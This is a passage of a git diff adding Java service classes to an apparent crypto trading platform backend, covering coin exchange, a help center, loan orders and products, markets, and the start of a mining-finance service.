BigDecimal(1):redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix()+record.getToCoin().toLowerCase()); + if(from==null&&to==null){ + log.error("未匹配到三方提供的汇率! origin:{}", record.getExchangeType()); + return; + } + BigDecimal thirdRate= from.divide(to, 8, RoundingMode.DOWN); + //获取自己的应有币种资源对象 + Map assetMapper=assetService.getAssetByUserIdList(record.getUserId()); + TAppAsset asset =assetMapper.get(record.getFromCoin().toLowerCase()+record.getUserId()); + if (!validateAmount(record, asset)) { + // 余额不足将任务更新为失败 + updateExchangeRecordStatus(record, 2, "余额不足!"); + return; + } + //手续费汇率 + if (StringUtils.isNotEmpty(list) && list.size()>0){ + for (TSymbolManage s :list) { + if (s.getSymbol().equals(record.getToCoin().toLowerCase())){ + record.setSystemRate(s.getCommission().divide(new BigDecimal("100"))); + } + } + } + record.setThirdRate(thirdRate); + // 对金额进行过滤,后期此处可通过策略模式进行重构 + updateAndSaveRecord(asset, record, resolveComputeAmount(record),assetMapper,user); + + log.debug(">>> 币种兑换结束 >>>"); + } + + private void updateExchangeRecordStatus(TExchangeCoinRecord record, Integer status, String remark) { + record.setStatus(status); + record.setRemark(remark); + tExchangeCoinRecordMapper.updateById(record); + } + + private TAppWalletRecord buildWalletRecord(TAppAsset asset, BigDecimal beforeAmount, BigDecimal afterAmount, + BigDecimal amount, Integer type, String coin, String remark, String adminParentIds) { + + TAppWalletRecord walletRecord = new TAppWalletRecord(); + walletRecord.setUserId(asset.getUserId()); + walletRecord.setAmount(amount); + walletRecord.setSymbol(coin); + walletRecord.setRemark(remark); + walletRecord.setBeforeAmount(beforeAmount); + walletRecord.setAfterAmount(afterAmount); + walletRecord.setCreateTime(new Date()); + walletRecord.setSerialId("C" + OrderUtils.generateOrderNum()); + walletRecord.setType(type); + walletRecord.setAdminParentIds(adminParentIds); + BigDecimal price = amount; + try { + if (!coin.equals("usdt")){ + log.debug("帐变记录币种获取汇率: 币种:{}",coin); + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + log.debug("帐变记录获取汇率: 币种:{} 汇率:{}",coin,price); + walletRecord.setUAmount(amount.multiply(price)); + }else{ + walletRecord.setUAmount(amount); + } + } catch (Exception e) { + e.printStackTrace(); + } + return walletRecord; + } + + private boolean validateAmount(TExchangeCoinRecord record, TAppAsset asset) { + boolean flag = false; + if ( asset.getBtcDefaultIfNull(BigDecimal.ZERO).compareTo(record.getAmount()) >= 0) { + flag = true; + } + return flag; + + } + + /** + * 决定最终的金额 + * + * @param record 兑换记录 + * @return 金额 + */ + private BigDecimal resolveComputeAmount(TExchangeCoinRecord record) { + // 三方提供的汇率计算结果 + BigDecimal amount = record.getAmount().multiply(record.getThirdRate()); + // 系统提供的汇率计算结果 + amount = amount.subtract(amount.multiply(record.getSystemRate())); + return amount; + } + + private void updateAndSaveRecord(TAppAsset asset, TExchangeCoinRecord record, BigDecimal computeAmount, Map map, TAppUser user) { + TAppWalletRecord walletRecordFrom = null; + TAppWalletRecord walletRecordTo = null; + TAppAsset to = map.get(record.getToCoin().toLowerCase()+record.getUserId()); + TAppAsset from=map.get(record.getFromCoin().toLowerCase()+record.getUserId()); + String toCoin = record.getToCoin().toLowerCase(); + String fromCoin= record.getFromCoin().toLowerCase(); + + //判断是否已有需要兑换的币种资源 没有的话新增兑换金额 有的话直接修改金额 + if(to==null){ + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setType(AssetEnum.PLATFORM_ASSETS.getCode()); + tAppAsset.setAmout(computeAmount); + tAppAsset.setSymbol(toCoin); + tAppAsset.setUserId(record.getUserId()); + tAppAsset.setAdress(record.getAddress()); + tAppAsset.setAvailableAmount(computeAmount); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + assetService.save(tAppAsset); + + assetService.updateByUserId(TAppAsset.builder().symbol(fromCoin) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .userId(record.getUserId()) + .amout(from.getAmout().subtract(record.getAmount())) + .availableAmount(from.getAvailableAmount().subtract(record.getAmount())).build()); + walletRecordFrom = buildWalletRecord(asset, from.getAmout(),from.getAmout().subtract(record.getAmount()), record.getAmount(),RecordEnum.CURRENCY_CONVERSION_SUB.getCode(), record.getFromCoin(), record.getFromToRemark(),user.getAdminParentIds()); + walletRecordTo = buildWalletRecord(asset, new BigDecimal(0), computeAmount, computeAmount, RecordEnum.CURRENCY_EXCHANGE_ADD.getCode(), record.getToCoin(), record.getFromToRemark(), user.getAdminParentIds()); + + }else{ + assetService.updateByUserId(TAppAsset.builder().symbol(toCoin) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .userId(record.getUserId()) + .amout(to.getAmout().add(computeAmount)) + .availableAmount(to.getAvailableAmount().add(computeAmount)).build()); + assetService.updateByUserId(TAppAsset.builder().symbol(fromCoin) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .userId(record.getUserId()) + .amout(from.getAmout().subtract(record.getAmount())) + .availableAmount(from.getAvailableAmount().subtract(record.getAmount())).build()); + walletRecordFrom = buildWalletRecord(asset, from.getAmout(),from.getAmout().subtract(record.getAmount()), record.getAmount(),RecordEnum.CURRENCY_CONVERSION_SUB.getCode(), record.getFromCoin(), record.getFromToRemark(), user.getAdminParentIds()); + walletRecordTo = buildWalletRecord(asset, to.getAmout(), to.getAmout().add(computeAmount), computeAmount, RecordEnum.CURRENCY_EXCHANGE_ADD.getCode(), record.getToCoin(), record.getFromToRemark(), user.getAdminParentIds()); + } + + // 保存钱包变更记录 + appWalletRecordMapper.insert(walletRecordFrom); + appWalletRecordMapper.insert(walletRecordTo); + // 兑换记录更新为成功 + updateExchangeRecordStatus(record, 1, null); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterInfoServiceImpl.java new file mode 100644 index 0000000..9cbf26c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterInfoServiceImpl.java @@ -0,0 +1,104 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.THelpCenterInfo; +import com.ruoyi.bussiness.mapper.THelpCenterInfoMapper; +import com.ruoyi.bussiness.service.ITHelpCenterInfoService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import java.util.List; + +/** + * 帮助中心问题详情Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class THelpCenterInfoServiceImpl extends ServiceImpl implements ITHelpCenterInfoService +{ + @Autowired + private THelpCenterInfoMapper tHelpCenterInfoMapper; + + /** + * 查询帮助中心问题详情 + * + * @param id 帮助中心问题详情主键 + * @return 帮助中心问题详情 + */ + @Override + public THelpCenterInfo selectTHelpCenterInfoById(Long id) + { + return tHelpCenterInfoMapper.selectTHelpCenterInfoById(id); + } + + /** + * 查询帮助中心问题详情列表 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 帮助中心问题详情 + */ + @Override + public List selectTHelpCenterInfoList(THelpCenterInfo tHelpCenterInfo) + { + return tHelpCenterInfoMapper.selectTHelpCenterInfoList(tHelpCenterInfo); + } + + /** + * 新增帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + @Override + public int insertTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo) + { + tHelpCenterInfo.setCreateTime(DateUtils.getNowDate()); + tHelpCenterInfo.setUpdateTime(DateUtils.getNowDate()); + tHelpCenterInfo.setCreateBy(SecurityUtils.getUsername()); + tHelpCenterInfo.setUpdateBy(SecurityUtils.getUsername()); + tHelpCenterInfo.setDelFlag("0"); + return tHelpCenterInfoMapper.insertTHelpCenterInfo(tHelpCenterInfo); + } + + /** + * 修改帮助中心问题详情 + * + * @param tHelpCenterInfo 帮助中心问题详情 + * @return 结果 + */ + @Override + public int updateTHelpCenterInfo(THelpCenterInfo tHelpCenterInfo) + { + tHelpCenterInfo.setUpdateTime(DateUtils.getNowDate()); + tHelpCenterInfo.setUpdateBy(SecurityUtils.getUsername()); + return tHelpCenterInfoMapper.updateTHelpCenterInfo(tHelpCenterInfo); + } + + /** + * 批量删除帮助中心问题详情 + * + * @param ids 需要删除的帮助中心问题详情主键 + * @return 结果 + */ + @Override + public int deleteTHelpCenterInfoByIds(Long[] ids) + { + return tHelpCenterInfoMapper.deleteTHelpCenterInfoByIds(ids); + } + + /** + * 删除帮助中心问题详情信息 + * + * @param id 帮助中心问题详情主键 + * @return 结果 + */ + @Override + public int deleteTHelpCenterInfoById(Long id) + { + return tHelpCenterInfoMapper.deleteTHelpCenterInfoById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterServiceImpl.java new file mode 100644 index 0000000..465ad3c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterServiceImpl.java @@ -0,0 +1,109 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.THelpCenter; +import com.ruoyi.bussiness.mapper.THelpCenterMapper; +import com.ruoyi.bussiness.service.ITHelpCenterService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import java.util.List; + +/** + * 帮助中心Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class THelpCenterServiceImpl extends ServiceImpl implements ITHelpCenterService +{ + @Autowired + private THelpCenterMapper tHelpCenterMapper; + + /** + * 查询帮助中心 + * + * @param id 帮助中心主键 + * @return 帮助中心 + */ + @Override + public THelpCenter selectTHelpCenterById(Long id) + { + return tHelpCenterMapper.selectTHelpCenterById(id); + } + + /** + * 查询帮助中心列表 + * + * @param tHelpCenter 帮助中心 + * @return 帮助中心 + */ + @Override + public List selectTHelpCenterList(THelpCenter tHelpCenter) + { + return tHelpCenterMapper.selectTHelpCenterList(tHelpCenter); + } + + /** + * 新增帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + @Override + public int insertTHelpCenter(THelpCenter tHelpCenter) + { + tHelpCenter.setCreateTime(DateUtils.getNowDate()); + tHelpCenter.setDelFlag("0"); + tHelpCenter.setUpdateTime(DateUtils.getNowDate()); + tHelpCenter.setUpdateBy(SecurityUtils.getUsername()); + tHelpCenter.setCreateBy(SecurityUtils.getUsername()); + return tHelpCenterMapper.insertTHelpCenter(tHelpCenter); + } + + /** + * 修改帮助中心 + * + * @param tHelpCenter 帮助中心 + * @return 结果 + */ + @Override + public int updateTHelpCenter(THelpCenter tHelpCenter) + { + tHelpCenter.setUpdateTime(DateUtils.getNowDate()); + tHelpCenter.setUpdateBy(SecurityUtils.getUsername()); + return tHelpCenterMapper.updateTHelpCenter(tHelpCenter); + } + + /** + * 批量删除帮助中心 + * + * @param ids 需要删除的帮助中心主键 + * @return 结果 + */ + @Override + public int deleteTHelpCenterByIds(Long[] ids) + { + return tHelpCenterMapper.deleteTHelpCenterByIds(ids); + } + + /** + * 删除帮助中心信息 + * + * @param id 帮助中心主键 + * @return 结果 + */ + @Override + public int deleteTHelpCenterById(Long id) + { + return tHelpCenterMapper.deleteTHelpCenterById(id); + } + + @Override + public List getCenterList(THelpCenter tHelpCenter) { + return tHelpCenterMapper.getCenterList(tHelpCenter); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THomeSetterServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THomeSetterServiceImpl.java new file mode 100644 index 0000000..0990b67 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THomeSetterServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.THomeSetterMapper; +import com.ruoyi.bussiness.domain.THomeSetter; +import com.ruoyi.bussiness.service.ITHomeSetterService; + +/** + * 规则说明Service业务层处理 + * + * @author ruoyi + * @date 2023-07-19 + */ +@Service +public class THomeSetterServiceImpl extends ServiceImpl implements ITHomeSetterService +{ + @Autowired + private THomeSetterMapper tHomeSetterMapper; + + /** + * 查询规则说明 + * + * @param id 规则说明主键 + * @return 规则说明 + */ + @Override + public THomeSetter selectTHomeSetterById(Long id) + { + return tHomeSetterMapper.selectTHomeSetterById(id); + } + + /** + * 查询规则说明列表 + * + * @param tHomeSetter 规则说明 + * @return 规则说明 + */ + @Override + public List selectTHomeSetterList(THomeSetter tHomeSetter) + { + return tHomeSetterMapper.selectTHomeSetterList(tHomeSetter); + } + + /** + * 新增规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + @Override + public int insertTHomeSetter(THomeSetter tHomeSetter) + { + tHomeSetter.setCreateTime(DateUtils.getNowDate()); + tHomeSetter.setHomeType(1); + return tHomeSetterMapper.insertTHomeSetter(tHomeSetter); + } + + /** + * 修改规则说明 + * + * @param tHomeSetter 规则说明 + * @return 结果 + */ + @Override + public int updateTHomeSetter(THomeSetter tHomeSetter) + { + return tHomeSetterMapper.updateTHomeSetter(tHomeSetter); + } + + /** + * 批量删除规则说明 + * + * @param ids 需要删除的规则说明主键 + * @return 结果 + */ + @Override + public int deleteTHomeSetterByIds(Long[] ids) + { + return tHomeSetterMapper.deleteTHomeSetterByIds(ids); + } + + /** + * 删除规则说明信息 + * + * @param id 规则说明主键 + * @return 结果 + */ + @Override + public int deleteTHomeSetterById(Long id) + { + return tHomeSetterMapper.deleteTHomeSetterById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadOrderServiceImpl.java new file mode 100644 index 0000000..7f34187 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadOrderServiceImpl.java @@ -0,0 +1,210 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.mapper.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.*; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.domain.TLoadOrder; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 贷款订单Service业务层处理 + * + * @author ruoyi + * @date 2023-07-14 + */ +@Service +@Slf4j +public class TLoadOrderServiceImpl extends ServiceImpl implements ITLoadOrderService +{ + @Autowired + private TLoadOrderMapper tLoadOrderMapper; + @Resource + private TLoadProductMapper tLoadProductMapper; + @Resource + private RedisCache redisCache; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private TAppAssetMapper assetMapper; + @Autowired + private ITAppWalletRecordService tAppWalletRecordService; + + /** + * 查询贷款订单 + * + * @param id 贷款订单主键 + * @return 贷款订单 + */ + @Override + public TLoadOrder selectTLoadOrderById(Long id) + { + return tLoadOrderMapper.selectTLoadOrderById(id); + } + + /** + * 查询贷款订单列表 + * + * @param tLoadOrder 贷款订单 + * @return 贷款订单 + */ + @Override + public List selectTLoadOrderList(TLoadOrder tLoadOrder) + { + return tLoadOrderMapper.selectTLoadOrderList(tLoadOrder); + } + + /** + * 新增贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + @Override + public int insertTLoadOrder(TLoadOrder tLoadOrder) + { + tLoadOrder.setCreateTime(DateUtils.getNowDate()); + return tLoadOrderMapper.insertTLoadOrder(tLoadOrder); + } + + /** + * 修改贷款订单 + * + * @param tLoadOrder 贷款订单 + * @return 结果 + */ + @Override + public int updateTLoadOrder(TLoadOrder tLoadOrder) + { + tLoadOrder.setUpdateTime(DateUtils.getNowDate()); + return tLoadOrderMapper.updateTLoadOrder(tLoadOrder); + } + + /** + * 批量删除贷款订单 + * + * @param ids 需要删除的贷款订单主键 + * @return 结果 + */ + @Override + public int deleteTLoadOrderByIds(Long[] ids) + { + return tLoadOrderMapper.deleteTLoadOrderByIds(ids); + } + + /** + * 删除贷款订单信息 + * + * @param id 贷款订单主键 + * @return 结果 + */ + @Override + public int deleteTLoadOrderById(Long id) + { + return tLoadOrderMapper.deleteTLoadOrderById(id); + } + + @Override + @Transactional + public AjaxResult saveTLoadOrder(TLoadOrder loadOrder, TAppUser user) { + TLoadProduct tLoadProduct= tLoadProductMapper.selectTLoadProductById(loadOrder.getProId()); + loadOrder.setOrderNo("Z"+ OrderUtils.generateOrderNum()); + loadOrder.setStatus(0); + loadOrder.setCreateTime(new Date()); + loadOrder.setRate(tLoadProduct.getOdds()); + loadOrder.setInterest(loadOrder.getAmount().multiply(tLoadProduct.getOdds()).multiply(new BigDecimal(loadOrder.getCycleType()).divide(new BigDecimal(100)).setScale(2, RoundingMode.UP))); + loadOrder.setUpdateTime(new Date()); + loadOrder.setUserId(user.getUserId()); + loadOrder.setAdminParentIds(user.getAdminParentIds()); + //增加对应u.btc,eth余额 + if (redisCache.tryLock(CachePrefix.APP_LOADORDER.getPrefix() + user.getUserId(), user.getUserId(), 1000)) { + tLoadOrderMapper.insertTLoadOrder(loadOrder); + //发起提现则扣钱 + return AjaxResult.success(); + }else { + log.error("下单锁定, userId:{}, loadOrder:{}", user.getUserId(), loadOrder.getAmount()); + return AjaxResult.error(MessageUtils.message("withdraw.refresh")); + } + } + + /** + * 审核通过 + * @param tLoadOrder + * @return + */ + @Transactional + @Override + public AjaxResult passTLoadOrder(TLoadOrder tLoadOrder) { + tLoadOrder.setStatus(1); + tLoadOrder.setDisburseTime(new Date()); + Integer cycType = tLoadOrder.getCycleType(); + Date endTime = DateUtils.dateFormatDay(tLoadOrder.getDisburseTime(), cycType); +// TLoadProduct loadOrder=tLoadProductMapper.selectTLoadProductById(tLoadOrder.getProId()); + + TAppUser user = tAppUserMapper.selectById(tLoadOrder.getUserId()); + TAppAsset asset = assetMapper.selectOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId,tLoadOrder.getUserId()).eq(TAppAsset::getSymbol,"usdt").eq(TAppAsset::getType,"1")); + Map map = DateUtils.getWeek(endTime); + if(tLoadOrder.getDisburseAmount().compareTo(BigDecimal.ZERO)<=0){ + return AjaxResult.error("审批金额必须大于0"); + } + if(tLoadOrder.getDisburseAmount().compareTo(tLoadOrder.getAmount())>0){ + return AjaxResult.error("审批金额不能大于申请金额"); + } + BigDecimal beforeAmount = asset.getAmout(); + //获取day和week + tLoadOrder.setFinalRepayTime(endTime); + tLoadOrder.setInterest(tLoadOrder.getDisburseAmount().multiply(tLoadOrder.getRate()).multiply(new BigDecimal(tLoadOrder.getCycleType()).divide(new BigDecimal(100)).setScale(2, RoundingMode.UP))); + tLoadOrderMapper.updateTLoadOrder(tLoadOrder); + assetMapper.updateByUserId(TAppAsset.builder().symbol("usdt").userId(tLoadOrder.getUserId()).amout(asset.getAmout().add(tLoadOrder.getDisburseAmount())).availableAmount(asset.getAvailableAmount().add(tLoadOrder.getDisburseAmount())).type(AssetEnum.PLATFORM_ASSETS.getCode()).build()); + tAppWalletRecordService.generateRecord(tLoadOrder.getUserId(), tLoadOrder.getDisburseAmount(), RecordEnum.LOAD_ORDER.getCode(), SecurityUtils.getUsername(), tLoadOrder.getOrderNo(), "贷款", beforeAmount, beforeAmount.add(tLoadOrder.getDisburseAmount()), "USDT",user.getAdminParentIds()); + user.setIsFreeze("1"); + tAppUserMapper.updateTAppUser(user); + return AjaxResult.success(); + } + + /** + * 还款 + * + * @param id + * @return + */ + @Transactional + @Override + public int repayment(Long id) { + TLoadOrder tLoadOrder = tLoadOrderMapper.selectTLoadOrderById(id); + tLoadOrder.setStatus(3); + tLoadOrder.setReturnTime(new Date()); + tLoadOrder.setUpdateTime(new Date()); + int i=tLoadOrderMapper.updateTLoadOrder(tLoadOrder); + TLoadOrder serch = new TLoadOrder(); + serch.setUserId(tLoadOrder.getUserId()); + List list = tLoadOrderMapper.selectListByUserId(serch); + if (CollectionUtils.isEmpty(list)){ + TAppUser user=tAppUserMapper.selectById(tLoadOrder.getUserId()); + user.setIsFreeze("2"); + i=tAppUserMapper.updateTAppUser(user); + } + return i; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadProductServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadProductServiceImpl.java new file mode 100644 index 0000000..2aaf644 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadProductServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TLoadProductMapper; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.service.ITLoadProductService; + +/** + * 借贷产品Service业务层处理 + * + * @author ruoyi + * @date 2023-07-13 + */ +@Service +public class TLoadProductServiceImpl extends ServiceImpl implements ITLoadProductService +{ + @Autowired + private TLoadProductMapper tLoadProductMapper; + + /** + * 查询借贷产品 + * + * @param id 借贷产品主键 + * @return 借贷产品 + */ + @Override + public TLoadProduct selectTLoadProductById(Long id) + { + return tLoadProductMapper.selectTLoadProductById(id); + } + + /** + * 查询借贷产品列表 + * + * @param tLoadProduct 借贷产品 + * @return 借贷产品 + */ + @Override + public List selectTLoadProductList(TLoadProduct tLoadProduct) + { + return tLoadProductMapper.selectTLoadProductList(tLoadProduct); + } + + /** + * 新增借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + @Override + public int insertTLoadProduct(TLoadProduct tLoadProduct) + { + tLoadProduct.setCreateTime(DateUtils.getNowDate()); + return tLoadProductMapper.insertTLoadProduct(tLoadProduct); + } + + /** + * 修改借贷产品 + * + * @param tLoadProduct 借贷产品 + * @return 结果 + */ + @Override + public int updateTLoadProduct(TLoadProduct tLoadProduct) + { + tLoadProduct.setUpdateTime(DateUtils.getNowDate()); + return tLoadProductMapper.updateTLoadProduct(tLoadProduct); + } + + /** + * 批量删除借贷产品 + * + * @param ids 需要删除的借贷产品主键 + * @return 结果 + */ + @Override + public int deleteTLoadProductByIds(Long[] ids) + { + return tLoadProductMapper.deleteTLoadProductByIds(ids); + } + + /** + * 删除借贷产品信息 + * + * @param id 借贷产品主键 + * @return 结果 + */ + @Override + public int deleteTLoadProductById(Long id) + { + return tLoadProductMapper.deleteTLoadProductById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMarketsServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMarketsServiceImpl.java new file mode 100644 index 0000000..ab232a6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMarketsServiceImpl.java @@ -0,0 +1,93 @@ +package com.ruoyi.bussiness.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TMarketsMapper; +import com.ruoyi.bussiness.domain.TMarkets; +import com.ruoyi.bussiness.service.ITMarketsService; + +/** + * 支持交易所Service业务层处理 + * + * @author ruoyi + * @date 2023-06-26 + */ +@Service +public class TMarketsServiceImpl implements ITMarketsService +{ + @Autowired + private TMarketsMapper tMarketsMapper; + + /** + * 查询支持交易所 + * + * @param slug 支持交易所主键 + * @return 支持交易所 + */ + @Override + public TMarkets selectTMarketsBySlug(String slug) + { + return tMarketsMapper.selectTMarketsBySlug(slug); + } + + /** + * 查询支持交易所列表 + * + * @param tMarkets 支持交易所 + * @return 支持交易所 + */ + @Override + public List selectTMarketsList(TMarkets tMarkets) + { + return tMarketsMapper.selectTMarketsList(tMarkets); + } + + /** + * 新增支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + @Override + public int insertTMarkets(TMarkets tMarkets) + { + return tMarketsMapper.insertTMarkets(tMarkets); + } + + /** + * 修改支持交易所 + * + * @param tMarkets 支持交易所 + * @return 结果 + */ + @Override + public int updateTMarkets(TMarkets tMarkets) + { + return tMarketsMapper.updateTMarkets(tMarkets); + } + + /** + * 批量删除支持交易所 + * + * @param slugs 需要删除的支持交易所主键 + * @return 结果 + */ + @Override + public int deleteTMarketsBySlugs(String[] slugs) + { + return tMarketsMapper.deleteTMarketsBySlugs(slugs); + } + + /** + * 删除支持交易所信息 + * + * @param slug 支持交易所主键 + * @return 结果 + */ + @Override + public int deleteTMarketsBySlug(String slug) + { + return tMarketsMapper.deleteTMarketsBySlug(slug); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineFinancialServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineFinancialServiceImpl.java new file mode 100644 index 0000000..f01bf8b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineFinancialServiceImpl.java @@ -0,0 +1,373 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.date.DateTime; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import java.util.concurrent.TimeUnit; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TMineFinancialMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.*; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-07-17 + */ +@Service +@Slf4j +public class TMineFinancialServiceImpl extends ServiceImpl implements ITMineFinancialService +{ + @Resource + private TMineFinancialMapper tMineFinancialMapper; + @Resource + private ITAppUserService appUserService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITMineOrderService orderService; + @Resource + private ITMineUserService mineUserService; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private ITMineOrderDayService mineOrderDayService; + @Resource + private SettingService settingService; + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TMineFinancial selectTMineFinancialById(Long id) + { + return tMineFinancialMapper.selectTMineFinancialById(id); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List selectTMineFinancialList(TMineFinancial tMineFinancial) + { + return tMineFinancialMapper.selectTMineFinancialList(tMineFinancial); + } + + /** + * 新增【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + @Override + public int insertTMineFinancial(TMineFinancial tMineFinancial) + { + tMineFinancial.setCreateTime(DateUtils.getNowDate()); + return tMineFinancialMapper.insertTMineFinancial(tMineFinancial); + } + + /** + * 修改【请填写功能名称】 + * + * @param tMineFinancial 【请填写功能名称】 + * @return 结果 + */ + @Override + public int updateTMineFinancial(TMineFinancial tMineFinancial) + { + tMineFinancial.setUpdateTime(DateUtils.getNowDate()); + return tMineFinancialMapper.updateTMineFinancial(tMineFinancial); + } + + /** + * 批量删除【请填写功能名称】 + * + * @param ids 需要删除的【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineFinancialByIds(Long[] ids) + { + return tMineFinancialMapper.deleteTMineFinancialByIds(ids); + } + + /** + * 删除【请填写功能名称】信息 + * + * @param id 【请填写功能名称】主键 + * @return 结果 + */ + @Override + public int deleteTMineFinancialById(Long id) + { + return tMineFinancialMapper.deleteTMineFinancialById(id); + } + + @Override + public String submit(Long planId, BigDecimal money, Long days) { + { + long userId = StpUtil.getLoginIdAsLong(); + TAppUser user = appUserService.selectTAppUserByUserId(userId); + TAppUserDetail 